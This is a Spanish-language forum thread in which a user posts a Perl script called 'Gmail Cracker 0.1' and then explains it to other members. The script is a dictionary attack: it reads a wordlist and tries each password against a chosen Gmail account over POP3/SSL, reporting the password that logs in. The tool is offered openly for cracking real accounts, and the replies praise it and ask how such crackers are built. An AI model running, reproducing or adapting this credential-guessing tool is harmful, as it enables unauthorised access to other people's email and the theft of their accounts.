[Perl] Gmail Cracker 0.1

[Doddy]

Un simple programa para crackear una cuenta Gmail.

Código: [Seleccionar]

#Gmail Cracker 0.1
#Coded By Doddy H
#http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd

use Mail::POP3Client;
use IO::Socket::SSL;

head();

if($ARGV[0] and $ARGV[1]) {
crackgmail($ARGV[0],$ARGV[1]);
} else {
print "\n[+] Sintax : $0 <email> <wordlist>\n";
}

copyright();

sub crackgmail {

my($user,$wordlist) = @_ ;

unless(-f $wordlist) {
print "\n[-] Wordlist not found\n";
copyright();
}

print "\n[+] Loading wordlist\n";

open(FILE,$wordlist);
my @passwords = <FILE>;
close FILE;

print "\n[+] Words Found : ".int(@passwords)."\n";
print "\n[+] Cracking...\n\n";

for my $pass(@passwords) {
chomp $pass;

my $so = IO::Socket::SSL->new(PeerAddr=>"pop.gmail.com",PeerPort => 995,Proto => "tcp");

my $nave = Mail::POP3Client->new();

$nave->User($user);
$nave->Pass($pass);
$nave->Socket($so);

if ($nave->Connect()) {
print "\a\a\n[+] Email : $user\n";
print "[+] Password : $pass\n";
$so->close();
$nave->close();
copyright();
}
$so->close();
$nave->close();
}

print "\n[+] Password not found\n";

}

sub head {
print "\n\n-- == Gmail Cracker == --\n\n";
}

sub copyright {
print "\n\n(C) Doddy Hackman 2012\n\n";
exit(1);
}

# The End ? 

[Maik]

Estan muy bien este y el de hotmail. No sabía que seria tan simple hacer un cracker. Cuando vas a hacer un scipt asi, sueles mirar en CPAN?
Esque aprendi Perl hace 2 dias, y se me hace un poco raro lo de las librerias.

[Doddy]

Solo miro CPAN cuando me hace un falta un modulo o cuando no me acuerdo la sintasis del modulo.

[Tarmo]

Podrias explicar el code plis

[Doddy]

Explicar el codigo ? , te referis a como funciona o que te explique linea por linea

[Tarmo]

Me refiero a que hace el codigo

[Doddy]

simplemente abre un diccionario con los posibles pass que tenga la cuenta , para despues hacer un intento de login con cada pass encontrado en el diccionario , si el login da un resultado positivo el scan termina y te muestra el pass correcto encontrado en el diccionario.